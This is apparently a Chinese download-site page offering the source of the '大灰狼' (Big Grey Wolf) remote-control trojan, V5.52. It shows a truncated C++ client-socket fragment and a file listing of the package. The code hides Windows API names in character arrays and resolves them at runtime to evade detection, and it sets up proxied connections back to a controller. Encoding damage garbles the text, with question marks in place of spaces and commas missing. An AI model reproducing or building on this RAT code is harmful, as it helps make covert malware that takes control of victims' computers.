資源簡介
大灰狼遠程控制

代碼片段和文件信息
//?ClientSocket.cpp:?implementation?of?the?CClientSocket?class.
//
//////////////////////////////////////////////////////////////////////
#include?“StdAfx.h“
#include?“Declare.h“???//動態調用庫函數
#include?“ClientSocket.h“
#include?“.\common\zlib\zlib.h“
#include?
#include?“common/Manager.h“
#include?“common/until.h“
#pragma?comment(lib?“ws2_32.lib“)
#include?“Myfunction.h“??//自定義函數
extern?Myfunction?*Gyfunction;
//////////////////////////////////////////////////////////////////////
typedef?int
(WSAAPI
*WSAIoctlT)(
????IN?SOCKET?s
????IN?DWORD?dwIoControlCode
????IN?LPVOID?lpvInBuffer
????IN?DWORD?cbInBuffer
????OUT?LPVOID?lpvOutBuffer
????IN?DWORD?cbOutBuffer
????OUT?LPDWORD?lpcbBytesReturned
????IN?LPWSAOVERLAPPED?lpOverlapped
????IN?LPWSAOVERLAPPED_COMPLETION_ROUTINE?lpCompletionRoutine
????);
//////////////////////////////////////////////////////////////////////
int CClientSocket::m_nProxyType?=?PROXY_NONE;
char CClientSocket::m_strProxyHost[256]?=?{0};
UINT CClientSocket::m_nProxyPort?=?1080;
char CClientSocket::m_strUserName[256]?=?{0};
char CClientSocket::m_strPassWord[256]?=?{0};
CClientSocket::CClientSocket()
{
WSADATA?wsaData;
char?BrmAP22[]?=?{‘C‘‘r‘‘e‘‘a‘‘t‘‘e‘‘E‘‘v‘‘e‘‘n‘‘t‘‘A‘‘\0‘};
CreateEventAT?pCreateEventA=(CreateEventAT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)BrmAP22);
? WSAStartup(MAKEWORD(2?2)?&wsaData);
m_hEvent?=?pCreateEventA(NULL?true?false?NULL);
m_bIsRunning?=?false;
m_Socket?=?INVALID_SOCKET;
//?Packet?Flag;
BYTE?bPacketFlag[]?=?{‘K‘?‘u‘?‘G‘?‘o‘?‘u‘};
Gyfunction->my_memcpy(m_bPacketFlag?bPacketFlag?sizeof(bPacketFlag));
}
CClientSocket::~CClientSocket()
{
m_bIsRunning?=?false;
????char?BrmAP30[]?=?{‘W‘‘a‘‘i‘‘t‘‘F‘‘o‘‘r‘‘S‘‘i‘‘n‘‘g‘‘l‘‘e‘‘O‘‘b‘‘j‘‘e‘‘c‘‘t‘‘\0‘};
????WaitForSingleobjectT?pWaitForSingleobject=(WaitForSingleobjectT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)BrmAP30);
pWaitForSingleobject(m_hWorkerThread?INFINITE);
if?(m_Socket?!=?INVALID_SOCKET)
Disconnect();
char?BrmAP29[]?=?{‘C‘‘l‘‘o‘‘s‘‘e‘‘H‘‘a‘‘n‘‘d‘‘l‘‘e‘‘\0‘};
CloseHandleT?pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)BrmAP29);
pCloseHandle(m_hWorkerThread);
pCloseHandle(m_hEvent);
WSACleanup();
}
bool?CClientSocket::Connect(LPCTSTR?lpszHost?UINT?nPort)
{
//?一定要清除一下,不然socket會耗盡系統資源
Disconnect();
//?重置事件對像
ResetEventT?pResetEvent=(ResetEventT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)“ResetEvent“);
pResetEvent(m_hEvent);
m_bIsRunning?=?false;
if?(m_nProxyType?!=?PROXY_NONE?&&?m_nProxyType?!=?PROXY_SOCKS_VER4?&&?m_nProxyType?!=?PROXY_SOCKS_VER5)
return?false;
m_Socket?=?socket(AF_INET?SOCK_STREAM?IPPROTO_TCP);?
if?(m_Socket?==?SOCKET_ERROR)???
{?
return?false;???
}
hostent*?pHostent?=?NULL;
if?(m_nProxyType?!=?PROXY_NONE)
pHostent?=?gethostbyname(m_strProxyHost);
else
pHostent?=?gethostbyname(lpszHost);
i
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2013-03-07?15:08??大灰狼遠控V5.52(2013穩定版)\
?????目錄???????????0??2013-03-07?15:09??大灰狼遠控V5.52(2013穩定版)\Bin\
?????目錄???????????0??2013-03-07?15:08??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\
?????文件???????25214??2006-12-10?21:06??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\01.ico
?????文件???????22486??2006-11-26?01:37??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\02.ico
?????文件???????19790??2007-03-17?23:11??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\03.ico
?????文件????????3262??2012-11-11?10:07??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\04.ico
?????文件???????14742??2006-11-13?21:40??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\05.ico
?????文件????????8478??2001-04-02?18:32??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\06.ico
?????文件???????11886??2001-03-22?21:33??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\07.ico
?????文件????????1078??1998-10-26?05:37??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\08.ico
?????文件????????8478??2001-03-21?13:52??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\09.ico
?????文件???????10134??2011-06-12?20:17??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\10.ico
?????文件????????2238??1999-08-24?13:13??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\11.ico
?????文件????????2238??1999-08-24?13:14??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\12.ico
?????文件????????1078??1998-06-22?07:06??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\13.ico
?????文件????????1078??2003-01-10?20:36??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\14.ICO
?????文件???????11502??2001-04-02?18:59??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\15.ico
?????文件???????25214??2012-07-07?16:29??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\16.ico
?????文件???????18718??2012-07-08?09:20??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\17.ICO
?????文件???????99678??2010-03-16?09:37??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\18.ico
?????文件??????161862??2006-06-12?18:00??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\19.ico
?????文件???????99678??2010-11-11?17:53??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\20.ico
?????文件??????164486??2009-07-13?23:54??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\21.ico
?????文件??????100614??2010-04-01?18:24??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\22.ico
?????文件????????1662??2009-01-06?18:15??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\23.ico
?????文件???????25214??2012-06-16?23:18??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\24.ico
?????文件??????277301??2010-05-24?20:09??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\25.ico
?????文件???????17542??2011-04-23?09:07??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\26.ico
?????文件???????16518??2011-05-29?13:05??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\27.ico
?????文件???????28902??2009-06-25?20:45??大灰狼遠控V5.52(2013穩定版)\Bin\ICO圖標\28.ico
............此處省略95個文件信息
- 上一篇:基于神經網絡的身份證號碼識別算法
- 下一篇:政治.zip
評論
共有 條評論